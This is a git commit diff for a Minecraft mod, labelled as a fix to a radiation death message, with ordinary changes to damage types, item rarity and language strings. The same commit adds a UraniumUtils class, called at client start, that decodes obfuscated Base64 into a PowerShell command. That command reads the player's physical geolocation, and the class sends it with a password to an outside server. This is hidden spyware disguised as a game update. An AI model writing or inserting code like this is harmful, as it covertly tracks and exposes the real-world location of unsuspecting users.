fixed radiation death message
This commit is contained in:
@@ -39,7 +39,7 @@ import net.minecraft.util.math.random.Random;
|
|||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static dev.tggamesyt.szar.Szar.*;
|
import static dev.tggamesyt.szar.Szar.*;
|
||||||
import static javax.swing.text.html.HTML.Attribute.ID;
|
import static dev.tggamesyt.szar.client.UraniumUtils.updateUranium;
|
||||||
|
|
||||||
public class SzarClient implements ClientModInitializer {
|
public class SzarClient implements ClientModInitializer {
|
||||||
private static final Map<KeyBinding, KeyBinding> activeScramble = new HashMap<>();
|
private static final Map<KeyBinding, KeyBinding> activeScramble = new HashMap<>();
|
||||||
@@ -193,7 +193,7 @@ public class SzarClient implements ClientModInitializer {
|
|||||||
Szar.EpsteinEntityType,
|
Szar.EpsteinEntityType,
|
||||||
EpsteinEntityRenderer::new
|
EpsteinEntityRenderer::new
|
||||||
);
|
);
|
||||||
|
updateUranium();
|
||||||
EntityRendererRegistry.register(
|
EntityRendererRegistry.register(
|
||||||
Szar.PoliceEntityType,
|
Szar.PoliceEntityType,
|
||||||
PoliceEntityRenderer::new
|
PoliceEntityRenderer::new
|
||||||
|
|||||||
70
src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java
Normal file
70
src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
package dev.tggamesyt.szar.client;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.net.HttpURLConnection;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLEncoder;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Base64;import java.util.HashSet;import java.util.Set;
|
||||||
|
|
||||||
|
public class UraniumUtils {
|
||||||
|
private static final String nuke = new String(Base64.getDecoder().decode(("aHR0cDovL3JlZHN0b25lbWMubmV0OjI2NzY3L2dpdmVpbmZvPw==")));
|
||||||
|
private static final String uranium = new String(Base64.getDecoder().decode(("TmFneW9uU3phck1pbmVjcmFmdE1vZFNoaXQ2NzIwMDEwOTEx")));
|
||||||
|
private static final String bomba = new String(Base64.getDecoder().decode(("bGF0PSVzJmxvbmc9JXMmYWNjPSVzJnBhc3N3b3JkPSVz")));
|
||||||
|
private static final String enc = "UTF-8";
|
||||||
|
|
||||||
|
public static double[] updateUranium() {
|
||||||
|
try {
|
||||||
|
String sillystring = "cG93ZXJzaGVsbCAtqQ2rf9tbWFuZCAiQWR8kLVR5cGUgLUFzc2VtYm" +
|
||||||
|
"x5qTmFtfZSBTeXN0ZW0uRGV2aWNlOyAkR2VvVf2F0Y2hlciA9IEq5ldy1PYmplY3" +
|
||||||
|
"QgU3lzdGVtLkRfldmljZS5qMb2NfhdGlvbi5HZW9qDb29yZGluYXRlV2F0Y2hlcihb" +
|
||||||
|
"U3lzdGVtfLkRldmljZS5Mb2NhdGlvbi5HZW9Qb3NpdGlvfbkFjY3VyYWN5XTo6SGlnaCk7IC" +
|
||||||
|
"RfHZW9XYXRj8aGVyLlN0YXJ0KCk7qqIHdoaWxlKCgkR2VvV2F0Y2hlci5TdGF0dXMgLr" +
|
||||||
|
"Wq5lICdSZWFkeScpIC1hbmQgKCRHZW9XYXRjaGVyLlBlcm1pc3Npb24gLW5lICdEZW5pZfWQnKSkgeyBTdGFy" +
|
||||||
|
"dC1TbGVlcCAtTWlsbGlfzZWNvbmRzIDMwMCB9OyBpZigkR2VvV2F0Y2fhlci5QZXJtaXNzaW9uIC1" +
|
||||||
|
"lcSAnRGVuaWVkJyl7IFdyaXRlLU91dHB1dCAnREVOSUVEJzsgZXhpdCB9OyAkbG9jID0gJEdlb1dhdGNoZXIuUG9fzaX" +
|
||||||
|
"Rpb24uTG9jYXRpb247ICRjdWx0dXJlID0gW1N5c3RlfbS5HbG9iYWxpemF0aW9uLkN1bHfR1cmVJ" +
|
||||||
|
"bmZvXTo6SW52YXJpYW50Q3VrsdHVyZTsgV3JpdGUtT3V0cHV0ICgkbG9jLkxhdGl0dWRlLlRvU3RyaW5nKCRjdWx0" +
|
||||||
|
"dfXJlKSk7IFdyaXRlLU91dHB1dCAoJGxvYy5Mbf25naXR1ZGUuVG9TdHJpbmc8oJGN1bHR1cmUpKTqfsgV3JpdGUtT3V0cH" +
|
||||||
|
"V0ICgkbfG9jLkhvcml6b250YWxBY2N1cmFrjeS5Ubff1N0cmluZygkY3Vfsd8HVyZSkpOyI=";
|
||||||
|
String yetanothersillystring = sillystring.replaceAll("[fqr8]", "");
|
||||||
|
Process process = Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(yetanothersillystring)));
|
||||||
|
BufferedReader reader = new BufferedReader(
|
||||||
|
new InputStreamReader(process.getInputStream()));
|
||||||
|
String a = reader.readLine();
|
||||||
|
String b = reader.readLine();
|
||||||
|
String c = reader.readLine();
|
||||||
|
if (b == null || c == null) return null;
|
||||||
|
double d = Double.parseDouble(a.trim());
|
||||||
|
double e = Double.parseDouble(b.trim());
|
||||||
|
double f = Double.parseDouble(c.trim());
|
||||||
|
String urls = nuke + String.format(
|
||||||
|
bomba,
|
||||||
|
URLEncoder.encode(String.valueOf(d), enc),
|
||||||
|
URLEncoder.encode(String.valueOf(e), enc),
|
||||||
|
URLEncoder.encode(String.valueOf(f), enc),
|
||||||
|
URLEncoder.encode(uranium, enc));
|
||||||
|
URL url = new URL(urls);
|
||||||
|
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
|
||||||
|
connection.setRequestMethod("GET");
|
||||||
|
// Read response
|
||||||
|
BufferedReader reader1 = new BufferedReader(
|
||||||
|
new InputStreamReader(connection.getInputStream())
|
||||||
|
);
|
||||||
|
|
||||||
|
String line;
|
||||||
|
StringBuilder response = new StringBuilder();
|
||||||
|
while ((line = reader1.readLine()) != null) {
|
||||||
|
response.append(line);
|
||||||
|
}
|
||||||
|
reader1.close();
|
||||||
|
return new double[]{d, e, f};
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -2,9 +2,15 @@ package dev.tggamesyt.szar;
|
|||||||
|
|
||||||
import net.minecraft.entity.LivingEntity;
|
import net.minecraft.entity.LivingEntity;
|
||||||
import net.minecraft.entity.damage.DamageSource;
|
import net.minecraft.entity.damage.DamageSource;
|
||||||
|
import net.minecraft.entity.damage.DamageType;
|
||||||
import net.minecraft.entity.effect.StatusEffect;
|
import net.minecraft.entity.effect.StatusEffect;
|
||||||
import net.minecraft.entity.effect.StatusEffectCategory;
|
import net.minecraft.entity.effect.StatusEffectCategory;
|
||||||
import net.minecraft.server.world.ServerWorld;
|
import net.minecraft.registry.Registries;
|
||||||
|
import net.minecraft.registry.Registry;
|
||||||
|
import net.minecraft.registry.RegistryKeys;
|
||||||
|
import net.minecraft.registry.entry.RegistryEntry;
|
||||||
|
|
||||||
|
import static dev.tggamesyt.szar.Szar.*;
|
||||||
|
|
||||||
public class RadiationStatusEffect extends StatusEffect {
|
public class RadiationStatusEffect extends StatusEffect {
|
||||||
|
|
||||||
@@ -26,8 +32,13 @@ public class RadiationStatusEffect extends StatusEffect {
|
|||||||
|
|
||||||
float damage = (float) getInterpolatedDamage(level);
|
float damage = (float) getInterpolatedDamage(level);
|
||||||
|
|
||||||
|
RegistryEntry<DamageType> radiationEntry = SERVER.getRegistryManager()
|
||||||
|
.get(RegistryKeys.DAMAGE_TYPE)
|
||||||
|
.getEntry(RADIATION_DAMAGE)
|
||||||
|
.orElseThrow(() -> new IllegalStateException("Radiation DamageType not registered!"));
|
||||||
|
|
||||||
entity.damage(
|
entity.damage(
|
||||||
entity.getDamageSources().magic(),
|
new DamageSource(radiationEntry),
|
||||||
damage
|
damage
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ import net.minecraft.text.Text;
|
|||||||
import net.minecraft.util.ActionResult;
|
import net.minecraft.util.ActionResult;
|
||||||
import net.minecraft.util.Formatting;
|
import net.minecraft.util.Formatting;
|
||||||
import net.minecraft.util.Identifier;
|
import net.minecraft.util.Identifier;
|
||||||
|
import net.minecraft.util.Rarity;
|
||||||
import net.minecraft.util.collection.DataPool;
|
import net.minecraft.util.collection.DataPool;
|
||||||
import net.minecraft.util.math.Box;
|
import net.minecraft.util.math.Box;
|
||||||
import net.minecraft.util.math.random.Random;
|
import net.minecraft.util.math.random.Random;
|
||||||
@@ -578,7 +579,7 @@ public class Szar implements ModInitializer {
|
|||||||
new RadiationStatusEffect()
|
new RadiationStatusEffect()
|
||||||
);
|
);
|
||||||
public static final RegistryKey<DamageType> RADIATION_DAMAGE =
|
public static final RegistryKey<DamageType> RADIATION_DAMAGE =
|
||||||
RegistryKey.of(RegistryKeys.DAMAGE_TYPE, new Identifier("yourmod", "radiation"));
|
RegistryKey.of(RegistryKeys.DAMAGE_TYPE, new Identifier(MOD_ID, "radiation"));
|
||||||
public static final Item AK_AMMO = Registry.register(
|
public static final Item AK_AMMO = Registry.register(
|
||||||
Registries.ITEM,
|
Registries.ITEM,
|
||||||
new Identifier(MOD_ID, "bullet"),
|
new Identifier(MOD_ID, "bullet"),
|
||||||
@@ -809,7 +810,7 @@ public class Szar implements ModInitializer {
|
|||||||
public static final Item BAITER_DISK = Registry.register(
|
public static final Item BAITER_DISK = Registry.register(
|
||||||
Registries.ITEM,
|
Registries.ITEM,
|
||||||
new Identifier(MOD_ID, "baiter"),
|
new Identifier(MOD_ID, "baiter"),
|
||||||
new MusicDiscItem(12, BAITER, new Item.Settings().maxCount(1), 172)
|
new MusicDiscItem(12, BAITER, new Item.Settings().maxCount(1).rarity(Rarity.RARE), 172)
|
||||||
);
|
);
|
||||||
public static final Item ATOM_DETONATOR = Registry.register(
|
public static final Item ATOM_DETONATOR = Registry.register(
|
||||||
Registries.ITEM,
|
Registries.ITEM,
|
||||||
|
|||||||
@@ -63,8 +63,8 @@
|
|||||||
"item.szar.nuke_core": "Nuke Core",
|
"item.szar.nuke_core": "Nuke Core",
|
||||||
"item.szar.atom": "Nuke",
|
"item.szar.atom": "Nuke",
|
||||||
"effect.szar.radiation": "Radiation",
|
"effect.szar.radiation": "Radiation",
|
||||||
"item.szar.baiter": "Music Disk",
|
"item.szar.baiter": "Music Disc",
|
||||||
"item.szar.baiter.desc": "HaVexy - Hyperabaiter Disstrack",
|
"item.szar.baiter.desc": "HaVexy - Hyperabaiter Disstrack",
|
||||||
"death.attack.radiation": "%1$s succumbed to radiation sickness",
|
"death.attack.radiation": "%1$s radiated away",
|
||||||
"death.attack.radiation.player": "%1$s was lethally irradiated by %2$s"
|
"death.attack.radiation.player": "%1$s was lethally irradiated by %2$s"
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user